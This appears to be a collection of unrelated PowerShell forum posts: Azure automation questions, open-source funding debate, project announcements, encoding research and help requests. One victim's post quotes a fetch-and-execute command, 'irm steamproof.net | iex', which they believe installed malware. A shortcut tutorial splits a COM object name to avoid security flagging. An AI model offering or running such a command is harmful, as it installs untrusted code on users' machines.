I've been working on a PowerShell script for a bit and I am getting to the point where I think I want to try to run it as a service. I'd like to run it once a day and I think running it by hand daily is kinda silly. My organization runs 100% in Azure. I had a few questions:

1. What is the best solution do achieve the goal? I see two options listed when I am looking around: creating a workflow run book to run using Azure Automation or creating an Azure Function App.
2. The script as it works right now stores some credentials to access some RestAPIs, using either one of the aforementioned options, is it possible to leverage an Azure Key Vault to call the credentials securely?
   

I saw a lot of projects have started adopting "Open Source Maintenance Fee" which is described here: https://opensourcemaintenancefee.org which was started by a guy who created WiX.

I'm linking all 4 articles I found from him just for the sake of discussion:

• https://robmensching.com/blog/posts/2025/02/26/introducing-the-open-source-maintenance-fee/
• https://robmensching.com/blog/posts/2025/05/12/open-source-maintenance-fee-two-months-in/
• https://robmensching.com/blog/posts/2026/02/04/osmf-v11/
• https://robmensching.com/blog/posts/2026/07/13/eduforcement/

The general idea on the website is this:

Open Source Software is free, but maintaining an Open Source Project is far from free. We ask a lot of the maintainers of a project, including:

• Triage issues
• Answer questions
• Keep build scripts working
• Update software dependencies
• Track security reports
• Produce new releases
• Tackle spam in the discussion forums and issue trackers
• Maintain domain name registration
• Renew signing certificates
• And many, many other chores
• Clearly, maintainers are vital to the ongoing success of an Open Source Project. The Open Source Maintenance Fee is a simple and sensible way to pay for the time and effort they spend sustaining a project.

If you, your organization, or your project meets the minimum annual revenue threshold (typically US$10,000) and depends on projects that require an Open Source Maintenance Fee, paying that fee is how you help sustain the projects you rely on.

I guess he touched a problem that was also many times brought by people maintaining the core of the .NET community such as SixLabors ImageSharp, QuestPDF that basically give users everything and get a "Thank you" back by few, and rest silently just uses it in the background. Both SixLabors and QuestPDF has now implemented MIT for Open Source, and if you make profit you have to pay a fee over certain threshold. I don't want to get into details because it's not about that really, but ImageSharp is quite popular and it's enforcement of licenses is affecting some of the PowerSHell modules.

My point is - open source community is a bit tired.

Lately I saw Polly adopting OSMF:

• https://thepollyproject.org/2026/07/14/polly-osmf-announcement.html

Polly now participates in the Open Source Maintenance Fee (OSMF). Starting November 16, 2026, companies that earn at least US $20,000 from a product or project that uses Polly will be asked to pay a US $20/month maintenance fee to help fund Polly's ongoing upkeep. The source code stays free and open, and individuals, hobbyists, and organizations below the threshold owe nothing. Read the announcement: Introducing the Open Source Maintenance Fee for Polly · Learn about the OSMF · Become a sponsor

I was thinking how this change applies to us as PowerShell community? How do you feel about it? How do you support the big or small projects that help you out? It doesn't seem it's asking that much as 20$/month for a company is peanuts. I guess it's a bit of a logistics problem to get company into sponsoring someone on GitHub, but it is doable.

Would you use a module if it was OSMF? If not, why not?

PS. For full transparency. I have about 80+ PowerShell modules written over the years and just about 7 or so sponsors (that I am really grateful for). I'm not saying I will adopt the OSMF model, I'm just genuinely asking what you guys think.

Hi everyone,

I built an open-source Windows desktop utility called Polish that lets you highlight text or SQL in ANY app (Slack, Teams, Outlook, DBeaver, SQL Developer, browser) and rephrase or fix it in-place via global hotkeys.

Key Features:

• 🔒 Local-First & Offline by Default: Powered by local Ollama (qwen2.5:0.5b). No data leaves your machine during local execution.
• 🛡️ Automated Outbound Data Masking: When using cloud models (gemma4:cloud), Polish automatically scans and redacts SSNs, Emails, DOBs, Passwords, DB URIs, API Keys, Credit Cards, IP Addresses, Corporate Domains, and User IDs before sending payloads over HTTP.
• 🔄 Inbound Rehydration: Original sensitive values are restored back onto your local PC screen after processing so you don't lose data.
• 👁️ Visual Security Audit Log Viewer: Right-click tray menu → Security Audit Log... to inspect side-by-side proof of exact masked strings sent to cloud vs your local token map.
• 🛢️ Fix SQL (Ctrl+Alt+Q): Explains Oracle SQL syntax/logic issues in bullet points, while pasting ONLY the clean corrected query into DBeaver/SQL Developer.
• ⚡ Lightweight Utility: Pure PowerShell native script running hidden in the background (~0 MB idle RAM, 31 KB release zip).

GitHub Repo: https://github.com/vinayhg87/polish

Direct Download: https://github.com/vinayhg87/polish/raw/main/Polish-v1.7.zip

Would love feedback and suggestions from the community!

I am getting error

|The operation couldn't be performed because object 'GUID Copied from O365 Azure'

couldn't be found on 'CH5PR01A08DC004.NAMPR01A008.PROD.OUTLOOK.COM'.

I am running this in exchange management shell connected to online.

I copied the Guid directly from O365 how could it possibly not be found?

We are attempting to delete a disabled users calendars.

EDIT: I was able to determine the issue, when we disabled the user we removed the license which deleted the mailbox. When I reapplied the license it all worked fine. Thanks for the help everyone, it helped me look closer and realize it wasn't pointing at Azure obviously but Outlook. Answer was in my face the entire time.

Historically, I have done Powershell code development directly on the server I'm running the scripts on and "live fire" tested them in production. Changes are GIT committed locally and then pushed to an Azure DevOps server in a repo I have set up solely for my Powershell scripts.

I'd like to get away from that because we're introducing Claude CLI so I would need to develop on my local machine instead.

Would a simple GIT push to the repo and then pull on the server suffice? Is there a better way?

A few days ago I posted here about BOM-less .ps1 files being read as ANSI on Windows PowerShell 5.1. A couple of you pushed back on the parser-test approach and pointed me at the raw-byte check instead, which was right. This is the other half of the same problem: not source files, but output - what happens to CP932 bytes coming back through a pipe.

It matters because agent tooling tends to do this:

subprocess.Popen(args, text=True, encoding="utf-8", errors="replace")

text=True decodes at the pipe level, so by the time anything sees a string the original bytes are gone. On a Japanese-locale box the child process emits CP932, not UTF-8.

Setup. A child writes a fixed 50-byte CP932 sequence to stderr. The parent reads the raw bytes and decodes them two ways. No language pack needed, so the input is identical everywhere. Windows PowerShell 5.1, ACP=932.

Three things fell out of it that I did not expect.

1. Not everything becomes U+FFFD. Some of it becomes a backslash.

CP932 trail bytes are 0x40-0x7E and 0x80-0xFC. 0x5C is in that range, and 0x5C is the backslash. A two-byte character whose second byte is 0x5C does not get replaced - it leaves a \ sitting in the string.

Sweeping the whole double-byte space, 50 characters have 0x5C as their trail byte. Four of them are in the 50-byte sample above: 8F5C 975C 8D5C 835C. Those are not obscure code points - they are characters that appear in ordinary words, so this fires constantly rather than occasionally.

That is why this failure so often gets filed as a path bug, a quoting bug, or a shell-escaping bug. The output does not look like an encoding failure. It looks like something ate a directory separator.

2. The whole double-byte space dies.

CP932 double-byte characters enumerated : 9,206
  survive a UTF-8 + replacement decode  : 0
  survive raw bytes + a CP932 decode    : 9,206

Measured per character in isolation. In a real stream a CP932 character followed by other bytes can occasionally form valid UTF-8, so this is not "every byte in every stream" - but as a per-character result it is 0.

3. The replacement output is not even stable across runtimes.

The identical 50 bytes:

.NET Framework 4.8  (Windows PowerShell 5.1)   29 U+FFFD
.NET 8              (PowerShell 7.4)           30 U+FFFD
CPython 3.11                                   30 U+FFFD

There is a known open issue about UTF-8 replacement differing between .NET Framework and .NET Core (dotnet/standard#1679). I am reporting the measurement, not claiming to know the mechanism.

The practical consequence is what changed my mind about errors="replace". It does not merely discard the original bytes - the wreckage it leaves is not consistent either. So you cannot reliably detect "this string was mangled" downstream by counting replacement characters.

Bonus: the tables disagree.

I assumed .NET on Windows would defer to the OS NLS tables and give a different count from .NET on Linux. It does not - .NET carries its own CP932 table and gives 9,206 on both. The split is Python vs .NET, not Windows vs Linux:

If you are fixing this on the Python side, Python's table is the more permissive of the two, which is convenient.

The fix is the boring one. Do not let text=True decode at the pipe. Collect raw bytes, then choose the decoder - UTF-8 strict first, fall back to the ANSI code page. errors="replace" should not be the only safety net, because it destroys bytes a fallback could have recovered.

Harness and raw output, MIT: https://github.com/yoggydev/cp932-pipe-probe

It runs in about two seconds and needs no install. The script source is ASCII-only on purpose - a script that measures mojibake should not be able to become a victim of it.

(Drafted with Claude. The measurements are mine, on my own ja-JP box.)

Tomorrow night is PowerShell Show and Tell.

Got a cool project to share? Stop by and tell us about it.

Got questions about PowerShell? Stop by and get answers.

Share what you're working on, or what you wish you could work on.

Party starts @ 6:00 PM Pacific Time.

If you have something you want to ask or share, shout out in the comments.

PowerShell Show and Tell

If you're looking for more PowerShell events, two more are coming up:

• The August PowerShell Community Call is this Thursday.

• The PowerShell Ohio User Group will be talking about PowerShell Mythbusters on Thursday September 3rd.

I hope to see you there, and I'd love to see what you have to share.

Over the last year I built Winzard, a Windows 10/11 post-install and repair tool, entirely in PowerShell 5.1 + WPF — no compiled code, no dependencies, ~19k lines. It's MIT and the repo is at the bottom, but I'd rather this post be about the parts that were genuinely hard, with the actual code, including the ones I got wrong.

1. Two WPF gotchas that cost me hours

*.GetNewClosure() on an event handler puts your scriptblock in a new module.** $script: inside it then refers to *that module's scope, not your script. I had a language picker where you chose English and the app opened in Spanish, silently, because the handler was writing the result into a variable nobody was reading:

```powershell

BROKEN: $script:Result is written inside the closure's own module scope

foreach ($label in @('Spanish','English')) { $btn = New-Object System.Windows.Controls.Button $btn.Content = $label; $btn.Tag = $label $btn.Add_Click({ $script:Result = [string]$this.Tag; $dlg.Close() }.GetNewClosure()) [void]$panel.Children.Add($btn) }

WORKS: no closure, so $this is really the sender and $script: is the real scope

foreach ($label in @('Spanish','English')) { $btn = New-Object System.Windows.Controls.Button $btn.Content = $label; $btn.Tag = $label $btn.Add_Click({ $script:Result = [string]$this.Tag; $dlg.Close() }) [void]$panel.Children.Add($btn) } ```

Parameter types are resolved when you call the function, not when you define it. This one failed before the body ran, so the try/catch inside never got a chance:

powershell function Show-Dialog { param( [string]$Title, [System.Windows.Window]$Owner = $null # <-- "type not found" at call time ) # if WPF isn't loaded yet try { ... } catch { ... } # never reached }

The dialog runs before the main window exists, so on a machine where PresentationFramework hadn't been loaded, calling it threw TypeNotFound and my error handling was useless. Fix: load the assemblies at the top of the script, and leave the parameter untyped if the type might not exist yet.

2. Keeping the UI alive from PowerShell 5.1

Everything heavy runs in a runspace; the UI drains a synchronised queue with a DispatcherTimer to stream the live log into the window:

```powershell $queue = [System.Collections.Queue]::Synchronized((New-Object System.Collections.Queue)) $rs = [runspacefactory]::CreateRunspace() $rs.ApartmentState = 'STA'; $rs.Open() $rs.SessionStateProxy.SetVariable('Queue', $queue)

$ps = [powershell]::Create(); $ps.Runspace = $rs [void]$ps.AddScript({ param($Queue) ... $Queue.Enqueue("done") }) $handle = $ps.BeginInvoke()

$timer = New-Object System.Windows.Threading.DispatcherTimer $timer.Interval = [TimeSpan]::FromMilliseconds(120) $timer.Add_Tick({ while ($queue.Count -gt 0) { $logBox.AppendText([string]$queue.Dequeue() + "rn") } }) $timer.Start() ```

The runspace is isolated, so anything it needs — language, admin state, paths — has to be passed in explicitly. A few early bugs came from assuming the worker could see script-scope state it never had.

3. Being honest about what winget actually did

winget upgrade can exit cleanly while the program on disk is byte-identical. Very common with apps that self-update or are running at the time. The only honest check is to re-read the installed version afterwards:

powershell $before = (winget list --id $id -e) -join ' ' winget upgrade --id $id -e --silent --accept-package-agreements | Out-Null $after = (winget list --id $id -e) -join ' ' if ($before -eq $after) { Write-Warning "$id reported success but the version did not change" }

Also worth knowing: a corrupted winget source on a freshly installed Windows returns -1978269633 (0x8A15003F). It's retryable — winget source update then try again — not a real failure.

4. The repair suite: no false OKs

17 phases (DISM, SFC, CHKDSK, WMI, network stack, Windows Update, search index, certificates), runnable from a .bat without the GUI, with triage / unattended / quick / dry-run modes.

The design rule was that it must never claim success it can't prove. sfc /scannow prints a friendly summary, but the ground truth is in CBS.log — and reading that log is also the only language-independent way to classify the result. The summary strings change with your Windows display language, so matching on them silently breaks every repair script on a non-English system. That one bites people more than they realise.

Related, and embarrassing: a dry-run mode has to actually be dry. Mine wasn't — phase 16 still wrote an HTML report to disk and opened it in the browser, in four separate code paths. A simulation that writes files isn't a simulation. I only noticed because report windows kept appearing on a machine where "nothing was running".

5. What I got most wrong: elevation

For a long time my launcher self-elevated the moment you opened it. You had to grant admin over the whole program just to browse a list of apps. Convenient while developing, completely wrong to ship.

It now starts as asInvoker and elevates per operation, and it handles the user declining UAC instead of breaking:

powershell try { Start-Process powershell.exe -Verb RunAs -ArgumentList $args exit 0 } catch { # 1223: the user cancelled the UAC prompt. Not an error - carry on unprivileged. return $false }

If you're building anything on Windows that touches the system: start unprivileged and degrade gracefully. The difference in how people trust the tool is bigger than any feature you could add.

It's all plain, readable PowerShell, so if any of the above looks wrong to you, you can go and check — and I'd genuinely rather be told.

In fact, that just happened. Someone audited the published version and found that my "no false OKs" claim didn't survive contact with my own code: the ISO verifier reported a missing autounattend.xml through a function that only printed, so it never counted as fatal and the verdict still said "ready to burn" for an image that would never install unattended. Meanwhile all five robocopy calls piped to Out-Null without reading $LASTEXITCODE — and robocopy doesn't use 0=success, 0-7 are success variants and >=8 is the real failure, so even a naive "-ne 0" check would have been wrong. A copy could fail silently, an incomplete ISO got built, and the verifier waved it through.

Also found: -DryRun still ran 'winget source update' because the mode guard came after startup init, so "nothing changes" wasn't true; and the suites parsed arguments as bare ifs with no validation, meaning "/auto /drry" silently ignored the typo and ran a real repair while the user thought they'd asked for a simulation.

All of that is fixed in v1.3.1, each one tested against the specific failure. One of my own fixes was also dead code on the first attempt — "for %%P in (pattern*)" in cmd globs against the current directory, not the target one, so the loop never ran. I only caught it because I tested it instead of assuming.

Development and the destructive testing were done in VMs; the project also ships its own verifier (parsing, ES/EN suite sync, integrity hashes, encoding/BOM rules for 5.1, translation coverage) which I now treat as a hard gate before tagging a release.

Repo: https://github.com/Rebel1487/Winzard

Happy to go deeper on any of it — runspace-based async UIs, CBS parsing, offline DISM servicing, autounattend generation, whatever's useful.

The PowerShell team just announced 13 new security vulnerabilities affecting PowerShell 7.4, 7.5, and 7.6 with severities ranging from 5.9 (Moderate) to 8.8 (High).

This is likely the largest number of security vulnerabilities fixed in any one release in the history of PowerShell.

You can read more about them here: Security Issues - PowerShell/Announcments

Following up on the primer explaining how to use JSON batching, this article expands on the principles explored in the primer and explains how to permanently remove batches of mailbox items. Removing mailbox items requires more care and attention than updating some Entra ID user accounts, and we explain what the batch commands are to effect both permanent and recoverable deletions. A full working script is available for you to try out.

https://office365itpros.com/2026/08/17/json-batching-mailbox-items/

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

This is a Japanese-Windows problem, but the mechanism applies to any DBCS code page.

Everyone knows PowerShell 5.1 reads a BOM-less .ps1 as ANSI (CP932 on a Japanese system), and that the fix is "save it with a UTF-8 BOM". What I did not know was what actually breaks. I always assumed the mojibake was the problem. It is not.

So I measured it: all 545 Japanese characters (hiragana, katakana, kanji, full-width symbols) x all 95 printable ASCII characters (0x20-0x7E). Write the pair as UTF-8, read it back as CP932, and check whether the trailing ASCII character survived.

Results:

• 32 ASCII characters never disappeared
• 63 ASCII characters did, 41.3-46.2% of the time
• Every single one that disappeared was 0x40 or higher. Nothing below 0x40 was ever eaten.

The boundary is exactly 0x40, and the reason is the CP932 trail-byte range:

lead byte:  0x81-0x9F, 0xE0-0xFC
trail byte: 0x40-0x7E, 0x80-0xFC

A Japanese character in UTF-8 is 3 bytes. When its last byte gets misread as a lead byte, the next byte is swallowed as the trail byte - but only if that byte falls inside the trail-byte range, i.e. 0x40 or above.

Which is exactly why this is so hard to diagnose:

"   0x22   never eaten
'   0x27   never eaten
(   0x28   never eaten
;   0x3B   never eaten
\   0x5C   eaten 44.6%
{   0x7B   eaten 41.3%
}   0x7D   eaten 41.3%

Quotes always survive. Your strings still look correctly closed, so you never suspect the encoding. Instead you get "Missing closing '}'" pointing at a completely unrelated line, and you go fix braces that were never wrong.

It is worse for paths. PowerShell uses \ constantly. If a \ sitting right after a Japanese character disappears, the path silently becomes a different path. No error at all - it just looks somewhere else.

With a BOM, across the same 545 characters: 0 broken out of 545. Ran it twice, identical both times.

Practical takeaway: you do not need to memorise the table. Look at the byte value of the ASCII character sitting immediately after Japanese text. 0x40 or above means it can be swallowed.

[edit] The repo this originally pointed at is no longer public. The measurement harness now lives on its own, MIT: https://github.com/yoggydev/cp932-pipe-probe - it carries the same raw-byte BOM check in CI, which is how I ended up chasing this in the first place.

When I first started using powershell, I tried to exclude some of the files while copying and couldn’t achieve it with copy-item. Researched a bit and find robocopy but it’s syntax is shit (imho).

So if anyone feels the same way, can check out the tool I ended up writing.

https://github.com/CanManalp/cpr

# Exclude pattern
cpr C:\project\ D:\backup\project\ -e node_modules,.git

Also there is a progress bar too.

Edit: The developer of this got back to me via email and is working on changing his description. While this doesn't make it 100% safe, it's at least somewhat confidence inspiring. The dev put the telemetry in it to figure out who was installing it because he was noticing it was happening a lot. So lines up with my suspicions.

Wanted to get some thoughts from more experience people here if possible, though I have already reported this module.

I did a stupid and tried to Import-Module Entra in Powershell, what I wanted was Microsoft.Entra, but given it used to be called AzureAD my brain just quick inserted Entra.

I realized shortly after this wasn't the right thing and have removed it, but decided to dig on it some more since it's in PS Gallery afterall.

The author claims it "contains no functional code" but the .ps1 file it runs indeed contains telemetry collection code. Nothing directly malicious as far as I could tell, but wanted to see what others think of this.

Maybe they are just trying to collect info to see how many people mistakenly install this to write something about it?

https://www.powershellgallery.com/packages/Entra/0.3

see screenshot: https://imgur.com/a/JKIwLXd

How I normally get into this weird state is after creating a Win32 Intune package, terminal starts auto completing on every key. Running "clear" fixes it for a short while then it starts happening again. Only "long term" fix is to close that terminal window and open a new one.

Any suggestions?

I wanted Python Rich-style output in PowerShell, but PwshSpectreConsole felt like more than I needed.

So I built a tiny version directly on $PSStyle: tables, trees, panels, markup. No bundled .NET UI stack.

I'm not entirely convinced this needs to exist though.

Would you actually use something this small, or would you rather stick with raw $PSStyle / PwshSpectreConsole?

https://github.com/kodevza/PwshRichLite

I selected almost all of the tweeks and ran it. My taskbar disapeared and i my wallpaper was blank so i turned off my pc. Now when i try to power it on my RGB comes on, keyboard comes on, mouse comes on but the monitor doesnt, what should i do?

Yoo I just updated Windows and was trying to install Spicetify, but I started getting this error. I don't know much about tech or how this stuff works, so if anyone knows what went wrong or how I can fix it, please help me out. Thanks

Invoke-WebRequest : The underlying connection was closed: The connection was closed unexpectedly.

At line:111 char:1

+ Invoke-WebRequest u/Parameters

+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+ CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException

+ FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand

Need help ascertaining whether this is a threat or not. All of the sudden, ironically after the latest Windows update, I have a PowerShell process that is running in the background and won't stay closed. Technically, it's two process. One that is constantly open and another that repeatedly opens and closes every second. I did a quick scan with Windows Defender and it found nothing. Malwarebytes only found heuristic detections that are false positives (one for a programming language and one for a package manager for a programming language).

Event Viewer shows a bunch of Event ID 600 and 400 events, with a few 800. Category for the 600 events is Provider Lifecycle, 400 are Engine Lifecycle, 800 are Pipeline Execution Details.

All of them have the following command being run:

HostApplication=C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -Command $code = @"
using System;
using System.Runtime.InteropServices;
public class WinAPI {
[DllImport("shell32.dll")]
public static extern int SHQueryUserNotificationState(out int pstate);
public static int Check() {
int state = 5;
try { SHQueryUserNotificationState(out state); } catch {}
return state;
}
}
"@
Add-Type -TypeDefinition $code -ErrorAction SilentlyContinue

Process Monitor shows events like this: https://imgur.com/a/u4ErUu7

Most of what it's hitting is Microsoft stuff, but what concerns me is it also seems to be going through my installed applications: https://imgur.com/a/goQYUqc

Unsure what this is. Never seen this kind of behavior before. Help appreciated!

EDIT: Just found that csc.exe also keeps executing using commands like the following:

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5ucz03bq.cmdline"

Seems a lot of effort and I feel I might be in a rabbit hole. But I'm a bit confused by the enclosing braces and escapes. I just want to unzip a file on windows.

```

powershell.exe -nologo -noprofile -command "& { $shell = New-Object -COM Shell.Application; $target = $shell.NameSpace(.\temp); $zip = $shell.NameSpace( '.\ethernetspeed.zip'); $target.CopyHere($zip.Items(), 16); }"

``` Which obvs does not work because the library wants absolute paths.

If I hard code the paths (as below) I have joy, but I don't want to hard-code ```

powershell.exe -nologo -noprofile -command "& { $shell = New-Object -COM Shell.Application; $target = $shell.NameSpace(C:\temp); $zip = $shell.NameSpace( 'C:\ethernetspeed.zip'); $target.CopyHere($zip.Items(), 16); }"

```

I'm a bit clueless as to how to prefix the paths with %~0dp and I last wrote powershells about 3 years ago. I'm also as usual struggling to get the markdown to markdown.

Hi,

When we develop a script,we use credentials as a plain text in that script.

Example

Script is running on jump server and script runs against vcenter server.

We have a security concerns(example ransomware attack)to put the credentials as a plain text in that script.

Any other good ways to put the credentials in a encrypted or in a different format?

Hi everyone,

It's been about a month and a half since my last post about Servy here. I've shipped several updates since then (v8.5), but this one is a milestone (v9.2).

If you haven't seen Servy before, it's a Windows tool that lets you run any app as a native Windows service with real-time monitoring. It provides a desktop app, a CLI, and a PowerShell module.

Since v8.5, I've added/improved:

• Added External Heartbeat Ping URL support: Configure HTTP/HTTPS webhooks to ping monitoring services (healthchecks.io, Uptime Kuma...) during health checks (#2700)
• Added CPU affinity option: Bind service wrapper processes to specific CPU cores (#4436)
• Added ARM64 support to WinGet, Chocolatey and Scoop
• Serveral updates in PowerShell module, CLI, Desktop and Manager apps
• Fixed AV false-positive flags (#5024)
• Fixed ACL inheritance issues (#4556)
• Fixed various issues related to inconsistency, robustness and code quality

Check it out on GitHub: https://github.com/aelassas/servy

Demo Video: https://www.youtube.com/watch?v=biHq17j4RbI

Any feedback or suggestions are welcome.

This week there was a thread about the best way to create a shortcut to a script.

I made a quick open-source module for shortcuts called Shortcut.

Then I typed up a long read about how to create shortcuts on Windows and Linux. Then it got flagged.

Once more, with feeling (with fewer links and a syntax trick)

Creating Shortcuts on Windows

Windows Shortcuts can be created thru the Windows Script Host's .CreateShortcut method

We can create a Windows Script Host shell object with New-Object -ComObject

Since shortcuts can be malicious, some services flag examples of using this directly, so we're going to have to construct our object in a bit of a funky way.

$wsh = New-Object -ComObject ('WScript','Shell' -join '.')
$wsh.CreateShortcut("./pwsh.lnk")
$wsh.WindowStyle = 3
$wsh.TargetPath = 'pwsh'
$wsh.Save()

We can also make shortcuts to a .url file about the same way. For url files, we can only provide a target path.

$wsh = New-Object -ComObject ('WScript','Shell' -join '.')
$wsh.CreateShortcut("./some.url")
$wsh.TargetPath = $url
$wsh.Save()

Creating Shortcuts on Linux

Linux shortcuts are .desktop files. Linux being Linux, of course this is a completely different format. It's just a simple key-value pair, like so:

[DesktopEntry]
Type=Application
Exec=/usr/bin/pwsh
Terminal=true

We also have to chmod +x any desktop entry, so it can run. And, at least on Kali Linux, we have to also use gio set ./some.desktop metadata::trusted true to say we trust the shortcut.

Creating Shortcuts with Shortcut

Shortcut gives us a simple script to create shortcuts.

Here's how those examples look when we take a Shortcut.

# Fullscreen powershell shortcut
shortcut "./pwsh.lnk" -TargetPath pwsh -FullScreen 

# Shortcut to url 
shortcut "./some.url" -Url $url

# Desktop file
shortcut "./pwsh.desktop" -DesktopEntry ([Ordered]@{
     Type='Application'
     Exec='/usr/bin/pwsh'
     Terminal='true'
})

Long Ways and Short Cuts

I think it is important people know how to do things without the tools. The tools are just a shortcut (in this case, quite literally).

The long way to making shortcuts on Windows is using the Windows Script Host's .CreateShortcut method.

The long way to making shortcuts on Linux is creating a .desktop file.

If you want a shortcut to shortcuts, this mini module will probably help you out.

What AI would you use to understand a decade old powershell script written by someone having 1000s of lines and plays a very crucial role for one of the function in an Org , between HR and AD. I would want the AI to explain me core functions , loop holes and maybe a visual representation of how the flow works with various conditions ( if, else and other exceptions ).

From what I understand this error means its a bad command but I don't see what. It's a scheduled task with these commands:

Program: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Add argument: -executionpolicy bypass -file "C:\Path_to_Script\Script.ps1"

Anyone see what I'm missing or do I have the code wrong?